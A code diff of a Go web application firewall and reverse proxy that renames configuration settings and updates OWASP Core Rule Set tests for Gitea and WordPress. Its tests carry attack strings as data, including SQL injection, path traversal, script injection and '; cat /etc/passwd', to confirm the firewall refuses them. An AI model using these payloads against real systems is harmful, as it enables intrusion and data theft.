wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
||||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
|
||||||
rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
rproxyDefault = "SWW_RPROXY_DEFAULT_DISPOSITION"
|
||||||
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
|
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
|
||||||
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
|
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
|
||||||
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
|
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||||
@@ -26,8 +26,8 @@ const (
|
|||||||
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||||
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||||
backendURL = "http://waf:8080"
|
backendURL = "http://waf:8080"
|
||||||
rproxyNoAnswerAddr = ":8080"
|
rproxyDefaultAddr = ":8080"
|
||||||
rproxyNoAnswerApp = "http://127.0.0.1:8081"
|
rproxyDefaultApp = "http://127.0.0.1:8081"
|
||||||
notASize = "a lot"
|
notASize = "a lot"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -44,8 +44,8 @@ func TestRProxyDefaults(t *testing.T) {
|
|||||||
t.Fatalf("settings: %v", err)
|
t.Fatalf("settings: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.ListenAddr != rproxyNoAnswerAddr ||
|
if cfg.ListenAddr != rproxyDefaultAddr ||
|
||||||
cfg.UpstreamURL.String() != rproxyNoAnswerApp ||
|
cfg.UpstreamURL.String() != rproxyDefaultApp ||
|
||||||
cfg.WAFBackend.String() != backendURL {
|
cfg.WAFBackend.String() != backendURL {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"addresses %q, %v, %v",
|
"addresses %q, %v, %v",
|
||||||
@@ -55,12 +55,11 @@ func TestRProxyDefaults(t *testing.T) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.WAFBackendTimeout != 2*time.Second ||
|
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
|
||||||
cfg.WAFBackendNoAnswerDisposition != "allow" {
|
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"waf backend timeout %v, no-answer disposition %q",
|
"timeout %v, default disposition %q",
|
||||||
cfg.WAFBackendTimeout,
|
cfg.Timeout,
|
||||||
cfg.WAFBackendNoAnswerDisposition,
|
cfg.DefaultDisposition,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -91,8 +90,8 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
|||||||
rproxyListen: ":9000",
|
rproxyListen: ":9000",
|
||||||
rproxyUpstream: "http://app:3000",
|
rproxyUpstream: "http://app:3000",
|
||||||
rproxyTrusted: "192.0.2.0/24",
|
rproxyTrusted: "192.0.2.0/24",
|
||||||
wafBackendTimeout: "150",
|
rproxyTimeout: "150",
|
||||||
rproxyNoAnswer: "deny",
|
rproxyDefault: "deny",
|
||||||
rproxyMaxRequest: "1K",
|
rproxyMaxRequest: "1K",
|
||||||
rproxyMaxResponse: off,
|
rproxyMaxResponse: off,
|
||||||
rproxyRequestTime: off,
|
rproxyRequestTime: off,
|
||||||
@@ -108,8 +107,8 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
|||||||
t.Errorf("addresses %+v", cfg)
|
t.Errorf("addresses %+v", cfg)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.WAFBackendTimeout != 150*time.Millisecond ||
|
if cfg.Timeout != 150*time.Millisecond ||
|
||||||
cfg.WAFBackendNoAnswerDisposition != "deny" ||
|
cfg.DefaultDisposition != "deny" ||
|
||||||
cfg.MaxRequestSize != 1024 ||
|
cfg.MaxRequestSize != 1024 ||
|
||||||
cfg.MaxResponseSize != 0 ||
|
cfg.MaxResponseSize != 0 ||
|
||||||
cfg.MaxRequestTime != 0 ||
|
cfg.MaxRequestTime != 0 ||
|
||||||
@@ -127,13 +126,13 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
|||||||
{wafBackend, ""},
|
{wafBackend, ""},
|
||||||
{wafBackend, "waf:8080"},
|
{wafBackend, "waf:8080"},
|
||||||
{wafBackend, "http://waf:8080/path"},
|
{wafBackend, "http://waf:8080/path"},
|
||||||
{wafBackendTimeout, "0"},
|
{rproxyTimeout, "0"},
|
||||||
{wafBackendTimeout, "-1"},
|
{rproxyTimeout, "-1"},
|
||||||
{wafBackendTimeout, off},
|
{rproxyTimeout, off},
|
||||||
{wafBackendTimeout, "2s"},
|
{rproxyTimeout, "2s"},
|
||||||
{wafBackendTimeout, "1.25"},
|
{rproxyTimeout, "1.25"},
|
||||||
{wafBackendTimeout, "99999999999999999"},
|
{rproxyTimeout, "99999999999999999"},
|
||||||
{rproxyNoAnswer, "maybe"},
|
{rproxyDefault, "maybe"},
|
||||||
{rproxyListen, "8080"},
|
{rproxyListen, "8080"},
|
||||||
{rproxyUpstream, "app"},
|
{rproxyUpstream, "app"},
|
||||||
{rproxyUpstream, "127.0.0.1:8081"},
|
{rproxyUpstream, "127.0.0.1:8081"},
|
||||||
@@ -221,10 +220,10 @@ func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
|
|||||||
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
||||||
_, err := rproxyConfig(map[string]string{
|
_, err := rproxyConfig(map[string]string{
|
||||||
wafBackend: backendURL,
|
wafBackend: backendURL,
|
||||||
wafBackendTimeout + "_FILE": path,
|
rproxyTimeout + "_FILE": path,
|
||||||
})
|
})
|
||||||
|
|
||||||
want := wafBackendTimeout + "_FILE: cannot be read: "
|
want := rproxyTimeout + "_FILE: cannot be read: "
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
||||||
t.Errorf("%s: error %v, want one starting %s", path, err, want)
|
t.Errorf("%s: error %v, want one starting %s", path, err, want)
|
||||||
}
|
}
|
||||||
@@ -247,8 +246,7 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, name := range []string{
|
for _, name := range []string{
|
||||||
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout,
|
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault,
|
||||||
rproxyNoAnswer,
|
|
||||||
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
|
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
|
||||||
} {
|
} {
|
||||||
if !slices.Contains(names, name) {
|
if !slices.Contains(names, name) {
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ import (
|
|||||||
func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) {
|
func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) {
|
||||||
t.Setenv(adminToken, "")
|
t.Setenv(adminToken, "")
|
||||||
|
|
||||||
_, err := config.WAFFromEnvironment(config.NewViper())
|
_, err := config.FromEnvironment(config.NewViper())
|
||||||
|
|
||||||
want := adminToken + ": is shorter than 32 characters"
|
want := adminToken + ": is shorter than 32 characters"
|
||||||
if err == nil || err.Error() != want {
|
if err == nil || err.Error() != want {
|
||||||
|
|||||||
+389
-427
File diff suppressed because it is too large.
Load diff
+548
-547
File diff suppressed because it is too large.
Load diff
@@ -1,9 +1,9 @@
|
|||||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||||
// method, the URL with its query and the headers of a request, and on its
|
// method, the URL with its query and the headers of a request, and on its
|
||||||
// body while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, with the
|
// body while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, with the five changes sww
|
||||||
// five changes sww makes to it, the fixes for the apps SWW_WAF_APPS names,
|
// makes to it, the fixes for the apps SWW_WAF_APPS names, and the exclusions in
|
||||||
// and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack
|
// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
|
||||||
// detection" under "Settings" in SPEC.md describes them. It reads no response.
|
// in SPEC.md describes them. It reads no response.
|
||||||
//
|
//
|
||||||
// sww writes only to its state directory, so Coraza is built with
|
// sww writes only to its state directory, so Coraza is built with
|
||||||
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
||||||
@@ -34,8 +34,8 @@ import (
|
|||||||
|
|
||||||
// directives are the Core Rule Set as sww runs it, with the
|
// directives are the Core Rule Set as sww runs it, with the
|
||||||
// paranoia level for %d, bodyDirectives for the first %s while
|
// paranoia level for %d, bodyDirectives for the first %s while
|
||||||
// SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, the exclusions file for
|
// SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, the exclusions file for the second,
|
||||||
// the second, and the directives of every app in apps for the third.
|
// and the directives of every app in apps for the third.
|
||||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||||
// Core Rule Set keeps for the rules that set it up, which
|
// Core Rule Set keeps for the rules that set it up, which
|
||||||
// SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no
|
// SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no
|
||||||
@@ -43,7 +43,7 @@ import (
|
|||||||
// without the spaces at the start of the next.
|
// without the spaces at the start of the next.
|
||||||
const directives = `
|
const directives = `
|
||||||
# The engine only detects. sww compares the request's anomaly
|
# The engine only detects. sww compares the request's anomaly
|
||||||
# score with SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD itself, in block and detect mode
|
# score with SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD itself, in block and detect mode
|
||||||
# alike. It reads no body, unless bodyDirectives switch that on.
|
# alike. It reads no body, unless bodyDirectives switch that on.
|
||||||
SecRuleEngine DetectionOnly
|
SecRuleEngine DetectionOnly
|
||||||
SecRequestBodyAccess Off
|
SecRequestBodyAccess Off
|
||||||
@@ -224,10 +224,9 @@ type Params struct {
|
|||||||
// DisabledRules are the ids of the rules switched off
|
// DisabledRules are the ids of the rules switched off
|
||||||
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES).
|
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES).
|
||||||
DisabledRules []int
|
DisabledRules []int
|
||||||
// BodyInspectionSize is the most of a request body the Core Rule Set
|
// BodyLimit is the most of a request body the Core Rule Set reads
|
||||||
// reads (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off
|
// (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
|
||||||
// and it reads none.
|
BodyLimit int64
|
||||||
BodyInspectionSize int64
|
|
||||||
// ExclusionsFile is the path of a file of exclusions loaded before the
|
// ExclusionsFile is the path of a file of exclusions loaded before the
|
||||||
// Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
// Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||||
// there is none.
|
// there is none.
|
||||||
@@ -338,7 +337,7 @@ func checkExclusions(exclusions string) error {
|
|||||||
// for concurrent use.
|
// for concurrent use.
|
||||||
type CoreRuleSet struct {
|
type CoreRuleSet struct {
|
||||||
engine coraza.WAF
|
engine coraza.WAF
|
||||||
bodyInspectionSize int64
|
bodyLimit int64
|
||||||
// appsByHostname are the names of the apps each hostname serves, by
|
// appsByHostname are the names of the apps each hostname serves, by
|
||||||
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
|
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
|
||||||
appsByHostname map[string][]string
|
appsByHostname map[string][]string
|
||||||
@@ -346,14 +345,14 @@ type CoreRuleSet struct {
|
|||||||
|
|
||||||
// New returns the Core Rule Set with the five changes and the apps' fixes,
|
// New returns the Core Rule Set with the five changes and the apps' fixes,
|
||||||
// at params' paranoia level, without the rules it switches off, reading
|
// at params' paranoia level, without the rules it switches off, reading
|
||||||
// request bodies up to params' body inspection size, and with params'
|
// request bodies up to params' limit, and with params' exclusions file
|
||||||
// exclusions file loaded before the Core Rule Set's rules. An exclusions
|
// loaded before the Core Rule Set's rules. An exclusions file is an error
|
||||||
// file is an error if it cannot be read or does not parse, or if
|
// if it cannot be read or does not parse, or if checkExclusions refuses
|
||||||
// checkExclusions refuses it.
|
// it.
|
||||||
func New(params Params) (*CoreRuleSet, error) {
|
func New(params Params) (*CoreRuleSet, error) {
|
||||||
body := ""
|
body := ""
|
||||||
if params.BodyInspectionSize > 0 {
|
if params.BodyLimit > 0 {
|
||||||
body = fmt.Sprintf(bodyDirectives, params.BodyInspectionSize)
|
body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
|
||||||
}
|
}
|
||||||
|
|
||||||
exclusions := ""
|
exclusions := ""
|
||||||
@@ -398,7 +397,7 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
|
|
||||||
return &CoreRuleSet{
|
return &CoreRuleSet{
|
||||||
engine: engine,
|
engine: engine,
|
||||||
bodyInspectionSize: params.BodyInspectionSize,
|
bodyLimit: params.BodyLimit,
|
||||||
appsByHostname: params.Apps,
|
appsByHostname: params.Apps,
|
||||||
}, nil
|
}, nil
|
||||||
}
|
}
|
||||||
@@ -481,35 +480,23 @@ func (c *CoreRuleSet) Inspect(
|
|||||||
return Result{RuleIDs: ids, Score: score(tx)}, read, err
|
return Result{RuleIDs: ids, Score: score(tx)}, read, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// mostJSONRead is the largest JSON body the Core Rule Set reads, even while
|
|
||||||
// SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is larger. Coraza names each
|
|
||||||
// value in a JSON body by the whole path to it, so what it gives the Core
|
|
||||||
// Rule Set to read can outgrow the body: up to 8 times its size, and up to
|
|
||||||
// 4 KiB for a small body. 1 KiB of JSON thus gives at most 8 KiB, no more
|
|
||||||
// than the largest body of another kind.
|
|
||||||
const mostJSONRead = 1 << 10
|
|
||||||
|
|
||||||
// readBody reads body, the body of the request in tx, which has run on
|
// readBody reads body, the body of the request in tx, which has run on
|
||||||
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
|
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set and the body is
|
||||||
// set and the body is of a kind the Core Rule Set reads: form data and
|
// of a kind the Core Rule Set reads: form data and multipart, of which it
|
||||||
// multipart, of which it reads the first c.bodyInspectionSize bytes, and
|
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
|
||||||
// JSON and XML, which it reads only when they are no longer than that,
|
// when they are no longer than that, since they cannot be read in part.
|
||||||
// since they cannot be read in part. The Core Rule Set reads no JSON body
|
// readBody reads one byte past the limit, to tell which they are, gives
|
||||||
// longer than mostJSONRead either.
|
// the Core Rule Set what it reads, and returns what it read and the error
|
||||||
// readBody reads one byte past c.bodyInspectionSize, to tell which they
|
// that ended the reading early, if one did.
|
||||||
// are, gives the Core Rule Set what it reads, and returns what it read and
|
|
||||||
// the error that ended the reading early, if one did.
|
|
||||||
func (c *CoreRuleSet) readBody(
|
func (c *CoreRuleSet) readBody(
|
||||||
tx types.Transaction,
|
tx types.Transaction,
|
||||||
body io.Reader,
|
body io.Reader,
|
||||||
) ([]byte, error) {
|
) ([]byte, error) {
|
||||||
if c.bodyInspectionSize == 0 {
|
if c.bodyLimit == 0 {
|
||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
inPart := false
|
inPart := false
|
||||||
// largest is the largest JSON or XML body the Core Rule Set reads.
|
|
||||||
largest := c.bodyInspectionSize
|
|
||||||
// How the body is read is a variable of the transaction, which only
|
// How the body is read is a variable of the transaction, which only
|
||||||
// Coraza's interface for plugins reads.
|
// Coraza's interface for plugins reads.
|
||||||
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
|
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
|
||||||
@@ -517,16 +504,14 @@ func (c *CoreRuleSet) readBody(
|
|||||||
switch state.Variables().RequestBodyProcessor().Get() {
|
switch state.Variables().RequestBodyProcessor().Get() {
|
||||||
case "URLENCODED", "MULTIPART":
|
case "URLENCODED", "MULTIPART":
|
||||||
inPart = true
|
inPart = true
|
||||||
case "JSON":
|
case "JSON", "XML":
|
||||||
largest = min(largest, mostJSONRead)
|
|
||||||
case "XML":
|
|
||||||
default:
|
default:
|
||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1))
|
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
|
||||||
|
|
||||||
if inPart || (err == nil && int64(len(read)) <= largest) {
|
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
|
||||||
// Coraza holds what it reads of the body in memory, up to the
|
// Coraza holds what it reads of the body in memory, up to the
|
||||||
// limit, so this cannot fail.
|
// limit, so this cannot fail.
|
||||||
_, _, _ = tx.WriteRequestBody(read)
|
_, _, _ = tx.WriteRequestBody(read)
|
||||||
|
|||||||
@@ -390,15 +390,22 @@ func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) {
|
|||||||
matched(900300),
|
matched(900300),
|
||||||
)
|
)
|
||||||
|
|
||||||
// So it is with the fields of a form data body. A JSON body the Core
|
// So it is with the fields of a form data or JSON body.
|
||||||
// Rule Set reads, of at most mostJSONRead bytes, cannot hold that many.
|
|
||||||
crs = readingBodies(t)
|
crs = readingBodies(t)
|
||||||
|
|
||||||
body := strings.Repeat("a=1&", 999) + attack
|
for _, tc := range []struct{ header, body string }{
|
||||||
wantBody(t, crs, post(formData), body, matched(942100), body)
|
{formData, strings.Repeat("a=1&", 999) + attack},
|
||||||
|
{jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`},
|
||||||
|
} {
|
||||||
|
wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body)
|
||||||
|
}
|
||||||
|
|
||||||
body = strings.Repeat("a=1&", 1000) + attack
|
for _, tc := range []struct{ header, body string }{
|
||||||
wantBody(t, crs, post(formData), body, matched(900300), body)
|
{formData, strings.Repeat("a=1&", 1000) + attack},
|
||||||
|
{jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`},
|
||||||
|
} {
|
||||||
|
wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRedirectURIMayNameALocalAddress(t *testing.T) {
|
func TestRedirectURIMayNameALocalAddress(t *testing.T) {
|
||||||
@@ -912,10 +919,6 @@ const retypeKey = "retype"
|
|||||||
// system files (930120) holds.
|
// system files (930120) holds.
|
||||||
const htaccess = ".htaccess"
|
const htaccess = ".htaccess"
|
||||||
|
|
||||||
// binSh is the shell path /bin/sh as a query or form value, which the rule for
|
|
||||||
// shell paths (932160) refuses.
|
|
||||||
const binSh = "%2Fbin%2Fsh"
|
|
||||||
|
|
||||||
// hardValues are words that name commands and files, as a query or form
|
// hardValues are words that name commands and files, as a query or form
|
||||||
// value. An app's tests check that its fields let them through.
|
// value. An app's tests check that its fields let them through.
|
||||||
//
|
//
|
||||||
@@ -1086,8 +1089,7 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
|||||||
const workers, perBody = 16, 10
|
const workers, perBody = 16, 10
|
||||||
|
|
||||||
crs, err := loaderFor(coreruleset.Params{
|
crs, err := loaderFor(coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
BodyInspectionSize: bodyInspectionSize,
|
|
||||||
})()
|
})()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -1164,18 +1166,15 @@ func misfiringPasswords(t *testing.T) []string {
|
|||||||
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
misfiring := misfiringPasswords(t)
|
misfiring := misfiringPasswords(t)
|
||||||
names := []string{name}
|
names := []string{name}
|
||||||
|
|
||||||
body := passwordBody(t, r, names, misfiring...)
|
body := passwordBody(t, r, names, misfiring...)
|
||||||
if len(body) > bodyInspectionSize {
|
if len(body) > bodyLimit {
|
||||||
t.Fatalf(
|
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||||
"a body of %d bytes is cut at bodyInspectionSize",
|
|
||||||
len(body),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||||
@@ -1198,7 +1197,7 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
|||||||
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
|
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
|
||||||
@@ -1218,7 +1217,7 @@ func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
|||||||
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
|
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
|
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
|
||||||
body := passwordBody(t, r, []string{name}, attack)
|
body := passwordBody(t, r, []string{name}, attack)
|
||||||
@@ -1308,7 +1307,7 @@ func TestGiteaPasswordsPass(t *testing.T) {
|
|||||||
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
|
|
||||||
@@ -1365,7 +1364,7 @@ func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
|||||||
func TestPasswordExclusionsAreNarrow(t *testing.T) {
|
func TestPasswordExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
|
|
||||||
@@ -1401,7 +1400,7 @@ func TestPasswordExclusionsAreNarrow(t *testing.T) {
|
|||||||
func TestGiteaAttacksAreRefused(t *testing.T) {
|
func TestGiteaAttacksAreRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
@@ -1481,7 +1480,7 @@ func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// A command after a ";" in q is still refused on each of these paths.
|
// A command after a ";" in q is still refused on each of these paths.
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
"/alice?tab=repositories&q=",
|
"/alice?tab=repositories&q=",
|
||||||
@@ -1505,15 +1504,13 @@ const (
|
|||||||
wpTags = "/wp-json/wp/v2/tags"
|
wpTags = "/wp-json/wp/v2/tags"
|
||||||
)
|
)
|
||||||
|
|
||||||
// readingBodiesUpTo8K returns the Core Rule Set as sww runs it by default,
|
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
||||||
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE.
|
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_LIMIT.
|
||||||
func readingBodiesUpTo8K(t *testing.T) *coreruleset.CoreRuleSet {
|
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
return shared(t, coreruleset.Params{
|
return shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
|
||||||
DisabledRules: defaultDisabledRules,
|
|
||||||
BodyInspectionSize: mostBodyRead,
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1575,9 +1572,9 @@ func wordpressAttackTargets(attack string) []string {
|
|||||||
func TestWordPressAttacksAreRefused(t *testing.T) {
|
func TestWordPressAttacksAreRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodiesUpTo8K(t)
|
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
sqlInjection,
|
sqlInjection,
|
||||||
@@ -1688,7 +1685,7 @@ func wordpressRESTAddresses(route string) []string {
|
|||||||
func TestWordPressExclusionsFollowEveryRESTAddress(t *testing.T) {
|
func TestWordPressExclusionsFollowEveryRESTAddress(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := readingBodiesUpTo8K(t)
|
crs := readingBodiesUpTo64K(t)
|
||||||
content := `{"content":"` + wordpressBlock + `"}`
|
content := `{"content":"` + wordpressBlock + `"}`
|
||||||
|
|
||||||
for _, route := range []string{
|
for _, route := range []string{
|
||||||
@@ -1914,7 +1911,7 @@ func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames(
|
|||||||
wantResult(t, crs, get(target+command), matched(932235))
|
wantResult(t, crs, get(target+command), matched(932235))
|
||||||
}
|
}
|
||||||
|
|
||||||
bodies := readingBodiesUpTo8K(t)
|
bodies := readingBodiesUpTo64K(t)
|
||||||
|
|
||||||
for _, p := range wordpressBodyFields(command) {
|
for _, p := range wordpressBodyFields(command) {
|
||||||
r := request{http.MethodPost, p.target, []string{p.contentType}}
|
r := request{http.MethodPost, p.target, []string{p.contentType}}
|
||||||
@@ -2138,7 +2135,7 @@ func TestWordPressBodyFieldsAreCheckedInTheQuery(t *testing.T) {
|
|||||||
func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
|
func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := readingBodiesUpTo8K(t)
|
crs := readingBodiesUpTo64K(t)
|
||||||
|
|
||||||
for _, v := range wordpressWords() {
|
for _, v := range wordpressWords() {
|
||||||
